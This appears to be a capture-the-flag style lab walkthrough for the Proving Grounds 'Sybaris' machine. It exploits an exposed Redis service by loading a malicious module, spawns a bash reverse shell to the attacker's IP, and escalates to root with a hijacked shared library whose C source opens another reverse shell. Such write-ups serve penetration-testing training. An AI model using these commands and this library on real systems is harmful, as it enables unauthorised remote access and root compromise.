> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/walkthroughs/pg-practice/sybaris/6379.md).

# 6379

Enumerating with nmap script:

```
nmap --script redis-info -sV -p 6379 192.168.190.93
```

![](/files/f4YWBG60YYdq3FCAayO4)

Now we can follow this: ![](/files/2cpbsenaKXVd6Pp3imZ0) From hacktricks.

```
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
cd RedisModules-ExecuteCommand
make
```

Now upload this in ftp pub folder: ![](/files/Z5IDsRLXfZYM9dFPgRA1) Now we can continue exploiting redis:

```
redis-cli -h 192.168.190.93
```

then:

```
MODULE LOAD /var/ftp/pub/module.so
MODULE LIST
```

![](/files/0SRLE1hr3TtZiquGcPIy) Now we can execute commands:

```
system.exec "id"
```

![](/files/fK5COkdiVpgBbrAP44g5)

Now for reverse shell:

```
sudo rlwrap nc -nlvp 6379
```

Then:

```
system.exec "bash -i >& /dev/tcp/192.168.45.212/6379 0>&1"
```

![](/files/u5Ep6LgACL22rgPMDM9D)

We get a shell: ![](/files/kHyule3AbOSvGvDvyVa3)

Running linpeas: ![](/files/UUAGeAtVIzieJzHXykeM)

Now lets try running this cron job: ![](/files/nIw9T32qhZF0JS4yNg46) utils.so is missing.

And since we have access to the environment variable we can go to `/usr/bin/local/lib/dev` And create a file called pe.c:

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("bash -i >& /dev/tcp/192.168.45.212/6379 0>&1");
}
```

Now we can compile:

```
gcc -fPIC -shared -o utils.so pe.c -nostartfiles
```

Now when the cron job is started as root it will use the utils.so from `/usr/bin/local/lib/dev` directory and we will get a reverse shell. ![](/files/PLc2SwLcRrFYQnbOowuu)